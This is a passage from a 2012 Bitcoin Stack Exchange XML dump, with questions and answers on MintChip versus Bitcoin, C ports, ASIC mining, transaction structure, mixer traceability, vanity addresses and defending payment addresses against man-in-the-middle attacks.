or credit requirements. MintChip is available to all enabling anyone to transact.&lt;/li&gt;&#xA;  &lt;li&gt;MintChip allows everyone to pay just like cash. No personal data is exchanged in the transaction, everyone can participate regardless of age or financial status, it is secure and it is instant.&lt;/li&gt;&#xA;  &lt;li&gt;Unburdened by the need for a proprietary network, MintChip offers a cost effective solution to consumers and merchants and enables easy person-to-person payments. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.mintchipchallenge.com/devguide/differentiators.html&quot; rel=&quot;nofollow&quot;&gt;4:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;MintChip payments are instant and irrevocable&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;There is no requirement for an external authorisation&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.mintchipchallenge.com/devguide/ecosystem.html&quot; rel=&quot;nofollow&quot;&gt;5:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MintChip chip is a Tamper Resistant Module (TRM), sometimes also called a Hardware Security Module (HSM). The Value Transfer Protocol cannot be modified without detection.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;The security of the chip (including firmware and software) is the greatest vulnerability in a MintChip system; therefore MintChip will use security-hardened chips with regularly planned security upgrades.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The MintChip system is deliberately designed for changes to both the chips and cryptographic mechanisms in a transparent fashion. It is even possible to force the expiry of a particular MintChip platform version.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From that information, one can &lt;strong&gt;speculate&lt;/strong&gt; the following properties:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The MintChip will store its value on the chip itself, rather than relying on any external system. This means that people would be able to exchange value between themselves without the need to be connected to the Internet. Bitcoin relies on the BlockChain and the Bitcoin Network.&lt;/li&gt;&#xA;&lt;li&gt;The MintChip chip will probably be easily bought and sold as any piece of hardware, and (hopefully) will not require users to provide any personal information that would link them to the chip. This would make the chip comparable to the Bitcoin wallet in a hardware form or a Physical Bitcoin. This would allow the chips to be traded by themselves rather than used to transfer value if one would wish to remain fully anonymous. As Bitcoin wallet in most cases can be easily copied, it would not be convenient to trade them like that.&lt;/li&gt;&#xA;&lt;li&gt;MintChip will be able to deal with transactions of less than $1, but the operation limits are not specified. Bitcoin, of course, operates down to a Satoshi at the moment.&lt;/li&gt;&#xA;&lt;li&gt;MintChip relies on hardware security. The hardware itself can be upgraded and old versions can be forced to expire. While this means that the system is not locked-in to one solution from the start, it can mean that MintChips could lose value with one upgrade, making them less desirable for storing of value. Moreover, should the hardware security details be leaked, the whole MintChip economy could potentially be rendered worthless. But again, this is just speculation. Bitcoin relies on the security of cryptography, which is transparent and predictable, and on the security of open-source software, being more transparent again. In the end the users control the Bitcoin network, and should any developers go against the system, their changes might not be accepted by the users. This is a double-edged sword, as some major Bitcoin players might try to execute their own agenda rather than undergoing changes when they are necessary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This leads me to &lt;strong&gt;guess&lt;/strong&gt;, that the MintChip model of operation would be similar to the one of &lt;a href=&quot;https://en.bitcoin.it/wiki/Open_Transactions&quot; rel=&quot;nofollow&quot;&gt;Open Transactions&lt;/a&gt; (although I'm not an expert in either). How I think MintChip would work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Every chip would store some secured private key for generating signatures and possibly some authorisation that the key is legitimate (perhaps a public key signed by the Royal Canadian Mint or something). This would be like the wallet in Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;The chip will also store data on all the transactions it participated in. This will be akin to a transaction history in Bitcoin, only without any blocks.&lt;/li&gt;&#xA;&lt;li&gt;In order to send money the chip will create a new transaction based on unspent transactions it has, and it will be sent as a confirmation of transfer of value. Again, similarly to Bitcoin transactions.&lt;/li&gt;&#xA;&lt;li&gt;New money will be created by the RCM by creating transactions that don't have inputs and sign them with some special key.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-26T06:59:57.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4835" PostTypeId="1" CreationDate="2012-09-26T23:09:09.353" Score="8" ViewCount="1263" Body="&lt;p&gt;I'm not a big proponent of either C++ or Boost. Has there been any attempt to rewrite Bitcoin in plain ANSI C, or maybe Objective C? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="323" LastEditDate="2012-09-27T09:44:05.623" LastActivityDate="2014-03-27T00:42:12.317" Title="Has anyone ported the Bitcoin software to plain C or Objective C?" Tags="|client|port|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostTypeId="1" CreationDate="2012-09-26T23:36:32.440" Score="6" ViewCount="3890" Body="&lt;p&gt;There have been over 7000 pre-orders of BFL SC series mining machines, with the cheapest one supposedly running at 3.5 GH/s and the most expensive being 1000GH/s thats a lot of hashes about to be added to the network, these machines are set to ship late october-early novermber. Also in the month following that the number of btc released in a block will be cut to 25. these two events will likely cause a lot of turbulence in the bit coin economy. How will these events affect the Bitcoin network and its economy?&lt;/p&gt;&#xA;" OwnerUserId="1946" LastEditorUserId="5406" LastEditDate="2016-03-10T14:53:32.953" LastActivityDate="2016-03-10T14:53:32.953" Title="How will the Bitcoin network look after BFL ASIC hardware shipments?" Tags="|exchange-rate|asic|mining-hardware|hashpower|bitcoin-economy|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4837" PostTypeId="2" ParentId="4614" CreationDate="2012-09-26T23:43:05.443" Score="2" Body="&lt;p&gt;Certain clients like MultiBit don't download the block history. The chain for them is stored in the cloud. That is one solution.&lt;/p&gt;&#xA;&lt;p&gt;Also, with interest from companies in things like &lt;a href=&quot;http://fiber.google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Fiber&lt;/a&gt;, once we get to this point most people's internet speed will hopefully be fast enough to download it.&lt;/p&gt;&#xA;" OwnerUserId="1946" LastEditorUserId="5406" LastEditDate="2022-05-19T18:43:53.643" LastActivityDate="2022-05-19T18:43:53.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4838" PostTypeId="1" CreationDate="2012-09-27T01:34:13.620" Score="3" ViewCount="3925" Body="&lt;p&gt;I gather that 2400 transactions fit into a 1 MB block.&#xA;That's 436 bytes per transaction record.&#xA;But what's in a transaction record?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good Powerpoint presentation that describes how Bitcoin transactions work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2012-09-27T06:31:24.787" Title="What does a Bitcoin transaction consist of?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4839" PostTypeId="1" CreationDate="2012-09-27T01:42:13.127" Score="3" ViewCount="287" Body="&lt;p&gt;The key to currency stability is to have neither too many nor too few of a currency in circulation. So what is the &quot;Goldilocks&quot; area going to be if Bitcoin really catches on and everybody wants to use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it turn out that demand will outstrip supply of the coins, resulting in inflation? Has this already happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that if a popular retailer like Newegg were to begin accepting Bitcoins then this could cause a spike in use and inflation.&lt;/p&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="516" LastEditDate="2012-09-27T02:02:10.750" LastActivityDate="2012-09-30T20:51:23.987" Title="How many coins are needed to ensure stability i.e. neither inflation nor deflation?" Tags="|economic-theory|inflation|deflation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4841" PostTypeId="1" CreationDate="2012-09-27T03:38:02.887" Score="5" ViewCount="800" Body="&lt;p&gt;I'm pretty clear on how a Bitcoin mixer obscures transaction history, but I don't understand how an observer is not able to reasonably link the source and destination wallets simply based on the transaction sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I deposit 100 BTC into a mixing service's wallet&lt;/li&gt;&#xA;&lt;li&gt;Over some time the mixing service places 100 BTC into another wallet&#xA;I have created.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If an observer has some interest in tracking me, they can view all wallet balances and determine which have had 100BTC placed into after my initial transfer to the mixing service. Assuming I don't use the end wallet for any other purposes, an observer simply needs to look for all wallets where about 100 BTC was deposited in them recently. This is probably a small list, and becomes even smaller as the amount to launder grows. If I wanted to launder 10000 BTC through a mixer, there are probably very few wallets that will have this amount deposited into them over such a short period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer seems to be, &quot;keep transactions small when mixing&quot; but in a network where there is not much activity (compared to fiat currencies) it seems like tracking down laundering activity isn't very hard.&lt;/p&gt;&#xA;" OwnerUserId="1948" LastEditorUserId="37414" LastEditDate="2018-04-17T23:23:48.757" LastActivityDate="2018-04-17T23:23:48.757" Title="Bitcoin mixing and transaction sizes" Tags="|privacy|mixing|money-laundering|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostTypeId="2" ParentId="4835" CreationDate="2012-09-27T03:44:50.170" Score="9" Body="&lt;p&gt;There is a pure C99 bitcoin implementation called &lt;a href=&quot;https://github.com/MatthewLM/cbitcoin&quot; rel=&quot;nofollow&quot;&gt;cbitcoin&lt;/a&gt; by MatthewLM, forum threads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=80521.0&quot; rel=&quot;nofollow&quot;&gt;cbitcoin - Bitcoin implementation in C. Currently in development.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=109312.0&quot; rel=&quot;nofollow&quot;&gt;[ANN] cbitcoin 1.0 Alpha 3 Released.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but it is currently in alpha stage. One of its features is weak library dependency, e.g. it possible to implement cryptography using something other than OpenSSL. As far as I know there is no Objective C Bitcoin implementation.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="1439" LastEditDate="2012-11-13T18:59:41.940" LastActivityDate="2012-11-13T18:59:41.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostTypeId="2" ParentId="4838" CreationDate="2012-09-27T06:31:24.787" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jbz7k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an interactive diagram showing the indivdual steps through the diagram:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://staging.spectrum.ieee.org/static/how-a-bitcoin-transaction-works&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://staging.spectrum.ieee.org/static/how-a-bitcoin-transaction-works&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A typical transaction (simplified) looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Spend:&#xA;   20 BTC from a transaction using address:ABC123 &#xA;&#xA;To:&#xA;   10 BTC to address XYZ111&#xA;   10 BTC to address JKL222&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here XYZ111 is where you want to send your BTC to and JKL222 is &lt;strong&gt;your&lt;/strong&gt; address for the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With transations like this you do not know (reliably) where your BTC are coming from. The next transaction will probably spend from JKL222 as ABC123 is all spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This in intentional in the Satoshi client so that it jumbles up the change and the sendee's addresses.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-27T06:31:24.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostTypeId="2" ParentId="4836" CreationDate="2012-09-27T06:39:47.783" Score="3" Body="&lt;p&gt;The number of bitcoins issued each day is targeted to at 7,200 BTC per day.  Beginning with block 210,000 that number will drop to 3,600 BTC per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distribution as to which miners will be getting the newly issued coins will change once ASICs are out, but the actual quantities issued will not.  (Well, there could be a few thousand extra coins for a few days but then it will readjust back to the target).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, there will be very little impact on the &quot;Bitcoin economy&quot; due to the introduction of massively greater hashing capacity that will come from ASIC designs entering Bitcoin mining production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the block reward subsidy drop from 50 BTC per block to 25, that is already known -- the date might vary a week or so earlier than the current target (November 30th, 2012), but generally it is known when and to what degree (50 to 25) it will happen so it is likely already priced in for the most part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus again, the &quot;Bitcoin economy&quot; probably won't be impacted by speculators or miners rushing to buy.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-27T06:39:47.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4845" PostTypeId="2" ParentId="4839" CreationDate="2012-09-27T07:14:59.223" Score="1" Body="&lt;p&gt;This question would be better for Economics SE, if it was still around. But oh well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't really prevent short-term inflation and deflation spikes, as anyone with substantial enough money supply could sway the economy until it balances itself out. Also, a similarly rich person could cause the Bitcoin to rise and fall in value in a pump-and-dump cycle by buying Bitcoins over a long period of time, and then spending them all at once for profit. Rinse, repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a long term, you'd need to generate Bitcoins at the same rate as the Bitcoin economy grows. As the value would be really hard to estimate, setting it in advance would be impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main way I can see Bitcoin having a stable-ish value while allowing for the economy to grow and shrink would be through the use of a system akin to &lt;a href=&quot;http://www.digitalcoin.info/&quot; rel=&quot;nofollow&quot;&gt;Digital Coin&lt;/a&gt;. Generally, the idea is that everyone could be creating their own currency that would be exchangeable for Bitcoin at a varying rate. The rate would vary based on the supply and demand of the private currency. There are a few mechanics to encourage people to use the private currencies, which I won't go into detail here. In this scenario, Bitcoin will be used as a standard of value - meaning everything will be compared to Bitcoin, but actual Bitcoins wouldn't be spend under normal circumstances. This way, Bitcoin in most cases wouldn't undergo inflation, but the economy built around it could.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-27T07:14:59.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostTypeId="2" ParentId="4839" CreationDate="2012-09-27T07:28:28.593" Score="1" Body="&lt;p&gt;Has demand already outstripped supply?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, in fact it happens hundreds of times each day.  The evidence of this happening comes with each uptick on the market price ticker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean by that is that with a currency that floats there is a limited supply at a certain price point.  Once those are sold and no new sellers wish to sell at that price, then those representing demand will consider buying the supply that is offered at a higher price.  When that happens, demand has outstripped the supply at the lower price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now some people use Bitcoin as a payment system without holding coins themselves.  So for them, it doesn't matter what the exchange rate is.  If they are to send $50 worth of bitcoins today, it costs them about $50-ish to buy the coins and to send them.   A year from now, to send $50 worth of bitcoins, it too will cost about $50-ish to buy the coins and send them then as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the ones who will be impacted by the fluctuations in the exchange rate are those who hold the coins.  These include speculators.  Though speculators do use the Bitcoin network to transfer funds, their transaction aren't necessarily supporting the Bitcoin economy -- they are simply speculative flows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merchants too can have their proceeds from sales converted to fiat so as to avoid exchange rate risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even though there is and will continue to be exchange rate volatility (or price inflation and price deflation for product pricing), those preferring to not be exposed to that risk can easily avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as exchange rate volatility affecting prices, technology has already mostly solved this problem.  A customer traveling in a foreign country can check prices using a currency conversion app on a mobile, for instance.  The merchant generally deals only with the local currency but at checkout the amount is converted to the customer's currency using a conversion rate.  There's no reason Bitcoin needs to be treated any differently than being just another foreign currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of currency that exists at any point in time at the present and future is known, so that should lessen the amount of fluctuation that comes from market uncertainty over whether or not monetary policy will be inflationary or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing the currency won't be debased adds to Bitcoin's stability.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="516" LastEditDate="2012-09-30T20:51:23.987" LastActivityDate="2012-09-30T20:51:23.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostTypeId="1" AcceptedAnswerId="4850" CreationDate="2012-09-27T16:53:37.090" Score="4" ViewCount="811" Body="&lt;p&gt;There is some advice for merchants to have a unique Bitcoin address for each incoming address.    Apparently this will help associate a transaction with a sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3730/1878&quot;&gt;can take a long time&lt;/a&gt; to generate a vanity address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any benefit to doing this if one should be created per sender?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When does it make sense to use a vanity address?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-09-27T23:06:35.717" Title="Is there a point to vanity addresses if a new destination address should be created per sender?" Tags="|wallet|address|commerce|vanity-address|merchants|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4848" PostTypeId="1" AcceptedAnswerId="4851" CreationDate="2012-09-27T17:01:50.963" Score="9" ViewCount="515" Body="&lt;p&gt;There are many network level attacks that give someone &lt;a href=&quot;https://security.stackexchange.com/questions/tagged/mitm&quot;&gt;Man in the Middle&lt;/a&gt; ability to replace my Bitcoin address with their own.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is no way to cancel a transaction, and the best practice is to generate a unique address per sender...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I assure my consumers they are actually paying the correct person?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to avoid the situation where a sender actually sent payment to a spoofer (which can't be canceled), and still have a dynamic address that people can send money to based on the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/304/1878&quot;&gt;A similar question is here,&lt;/a&gt; but it doesn't focus on the safety and security of communicating the address from the (anonymous) merchant to the (anonymous) recipient.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-09-28T16:55:14.077" Title="How can I assure my consumers they are actually paying the correct person? (prevent MITM attacks)" Tags="|transactions|security|attack|fraud|merchants|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4849" PostTypeId="2" ParentId="4848" CreationDate="2012-09-27T19:01:52.870" Score="1" Body="&lt;p&gt;Well, if you are worried about a man in the middle attacks, that means there is someone that can capture the communication between two people and change it on the fly. If the threat is constant, you can't really do much. However, usually an attacker will not get access to all of your channels of communication. You could, for example, put your Bitcoin address on some secure website, embed it in a forum signature, or at least provide your customers with your PGP public key to prevent any tempering with your messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally the attack is not Bitcoin-specific. It's just a matter of getting any data securely between two parties. It becomes more and more complicated based on the restrictions you are applying - whether the attacker can alter both sides of communication, is there any secure channel, some secret shared between the parties or do they know anything about one another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, secure your computer, secure the way you communicate with your client, and this will take care of most of the attacks. If your computer isn't secure enough, your Bitcoins might be lost anyway...&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-27T19:01:52.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4850" PostTypeId="2" ParentId="4847" CreationDate="2012-09-27T19:12:09.300" Score="3" Body="&lt;p&gt;Vanity address' purpose is generally in its name - vanity. You mainly use it to show off, like say in forum's signatures or general donation address, not for business in most cases. Usually you won't want to use a vanity address when you want to remain anonymous, which is what you try to accomplish by using a new address for each transaction. You can use the vanity address to mark your brand as well. For example, &lt;a href=&quot;http://www.satoshidice.com/&quot; rel=&quot;nofollow&quot;&gt;SatoshiDice&lt;/a&gt;'s addresses all start with &quot;1Dice&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you would use a vanity address if you can spare the computational power where people could see it quite clearly, and use the other addresses when you don't want to make an effort.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-27T19:12:09.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4851" PostTypeId="2" ParentId="4848" CreationDate="2012-09-27T19:34:49.263" Score="3" Body="&lt;p&gt;There is a lot of evidence that &lt;a href=&quot;https://security.stackexchange.com/q/12041/396&quot;&gt;man in the middle attacks are common&lt;/a&gt;, and this is a good question for the Bitcoin community to review.&lt;/p&gt;&#xA;&lt;p&gt;When publishing the Bitcoin address on a web page, either you will be using a static address (one address for many senders) or generating a new address for that particular user.&lt;/p&gt;&#xA;&lt;p&gt;Regardless of the frequency of generating a new address, the bottom line is if you send your Bitcoin address over HTTP you need to secure the DNS infrastructure, SSL, and make sure your site is protected from HTTP based XSS, CSRF attacks.&lt;/p&gt;&#xA;&lt;p&gt;Here are some links to get you started with securing HTTP:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send &lt;strong&gt;all&lt;/strong&gt; traffic over SSL, and set cookies to Secure and HTTP Only&lt;/li&gt;&#xA;&lt;li&gt;Use a well known Public Key vendor and ask visitors to run &lt;a href=&quot;https://security.stackexchange.com/search?q=convergence&quot;&gt;Convergence.IO&lt;/a&gt; to prevent a stolen/hacked key from being used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/q/19911/396&quot;&gt;Disable compression&lt;/a&gt; on the webserver or load balancer and &lt;a href=&quot;https://security.stackexchange.com/search?q=BEAST&quot;&gt;configure SSL correctly&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/9418891/328397&quot;&gt;Scan the client's machine for old plugins&lt;/a&gt; and ask them to upgrade&lt;/li&gt;&#xA;&lt;li&gt;Have a &lt;a href=&quot;https://security.stackexchange.com/q/12412/396&quot;&gt;dedicated domain for purchases&lt;/a&gt; with only one &amp;quot;dot&amp;quot; in the name&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ultra-modern DNS Security&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use DNSSec with a trusted root domain that supports DNSSEC at the root (.com, .org, etc)&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6698&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLSA RFC6698&lt;/a&gt; to self-publish SSL keys into DNS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For ToR clients&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Have a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4821/1878&quot;&gt;.onion address&lt;/a&gt;  (users at Exit nodes can modify your HTTP/S session)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/q/12395/396&quot;&gt;Detect that the user is using ToR&lt;/a&gt; and redirect them to your .onion address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2012-09-28T14:27:54.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4852" PostTypeId="2" ParentId="4848" CreationDate="2012-09-27T22:58:25.450" Score="1" Body="&lt;p&gt;Gavin Andresen &lt;a href=&quot;http://bitcointalk.org/index.php?topic=107180.msg1175847#msg1175847&quot; rel=&quot;nofollow&quot;&gt;wrote&lt;/a&gt; &quot;We need a payment protocol with non-repudiation built in.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He proposes a method where the private key for an address becomes the authority to sign payment requests for an entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, a layer external to bitcoin could be built using GPG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This thread addresses the question and potential solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=107180.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=107180.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-28T16:55:14.077" LastActivityDate="2012-09-28T16:55:14.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4853" PostTypeId="2" ParentId="4847" CreationDate="2012-09-27T23:06:35.717" Score="2" Body="&lt;p&gt;Very little commerce can occur using a static address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar problem is faced where bitcoin exchanges accept cash deposit at a bank.  All the customers will deposit to the same bank account, so the solution was to request a unique amount for each customer.  That amount is what marks the transaction and provides the ability for the exchange to know which customer account to credit for the deposit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That type of scenario is vulnerable to human mistakes and inconveniences the customer -- paying more or less for a purchase just to overcome this &quot;one address&quot; limitation is not an ideal solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The static payment address also works suitably well where transaction volume is very low.  If there is only a few payments in-progress at any point in time, a merchant can manually figure out which customers have paid and which haven't.  But that doesn't scale and will also be impacted by human error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the only use case that makes perfect sense is for donations where the contributor does not need to be recognized.  But even then, a static address may not be ideal.  Consider the WikiLeaks donation address.  Now that Assange is an &lt;a href=&quot;http://mashable.com/2012/09/27/julian-assange-wikileaks-enemies-of-state/&quot; rel=&quot;nofollow&quot;&gt;enemy of the state&lt;/a&gt;, having transactions to WikiLeak's address be relatively easily discovered might not be good.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-27T23:06:35.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4854" PostTypeId="1" CreationDate="2012-09-28T12:28:20.303" Score="3" ViewCount="9306" Body="&lt;p&gt;I'm completely new to the BitCoin world and I've purchased a couple of coins through eBay. The seller has messaged me saying this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Donation sent to 1Nf9iW*&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;**&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;*Yx4cPKB ...Please verify wallet and your 3.00 bitcoin will be released. Thank you for your business!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does this mean? I've navigated through the wallet application and can't seem to find anything.. Any help is more than appreciated, thanks for reading.&lt;/p&gt;&#xA;" OwnerUserId="1953" LastActivityDate="2012-09-28T20:01:13.150" Title="How do I &quot;Verify my wallet&quot;" Tags="|wallet|verification|" AnswerCount="2" CommentCount="2" ClosedDate="2012-11-25T02:30:09.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="4855" PostTypeId="2" ParentId="4854" CreationDate="2012-09-28T13:27:23.853" Score="3" Body="&lt;p&gt;Do you own the address specified by the seller (as in, did you provide them the address)? If so, the seller probably wants you to confirm &quot;yes, the address is correct&quot; or something like that. If you don't own the address, I think you should ask the seller what exactly does he mean by that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you don't verify a wallet. All the Bitcoin addresses verify their integrity by themselves (they have a checksum). Someone might ask you to verify that you are an owner of an address by making you sign some message with it, but that is quite rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a bit of search on the address you provided in part. Generally, unless you want to really hide that you own the address, there is no need to obscure any information about the addresses. In that case you wouldn't give any information. As it stands, I think you meant this address: &lt;a href=&quot;http://blockexplorer.com/address/1Nf9iWh318w45Q1BY6cebPFp6YnYx4cPKB&quot; rel=&quot;nofollow&quot;&gt;1Nf9iWh318w45Q1BY6cebPFp6YnYx4cPKB&lt;/a&gt;. From what I can see, you received a donation of 0.103BTC, so I'm guessing the seller sent you a bit of Bitcoins so you can check if the transaction went through and you received it correctly before sending you the full amount. If you can see the transaction in your 